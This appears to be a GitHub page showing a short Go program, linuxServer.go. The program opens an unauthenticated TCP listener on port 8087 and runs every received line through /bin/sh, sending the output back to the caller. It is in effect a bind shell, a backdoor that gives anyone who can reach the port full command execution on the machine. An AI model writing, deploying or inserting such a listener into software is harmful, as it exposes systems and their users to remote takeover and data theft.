-
Notifications
You must be signed in to change notification settings - Fork 1
/
linuxServer.go
62 lines (49 loc) · 939 Bytes
/
linuxServer.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package main
import (
"bufio"
"io"
"net"
"os/exec"
"strings"
)
func main() {
ln, err := net.Listen("tcp", ":8087")
if err != nil {
return
}
defer ln.Close()
for {
conn, err := ln.Accept()
if err != nil {
return
}
go func(conn net.Conn) {
defer conn.Close()
connReader := bufio.NewReader(conn)
for {
message, err := connReader.ReadString('\n')
if err != nil {
if err == io.EOF {
break
}
break
}
message = strings.TrimSpace(message)
if message == "server close" {
ln.Close()
return
}
Result := shellExe(string("-c " + message))
conn.Write([]byte(Result + "<<<<endMessage>>>\n"))
}
}(conn)
}
}
func shellExe(strCommand string) (out string) {
argsCommand := strings.Split(strCommand, " ")
cmd := exec.Command("/bin/sh", argsCommand...)
stdout, _ := cmd.Output()
cmd.Run()
out = string(stdout)
return out
}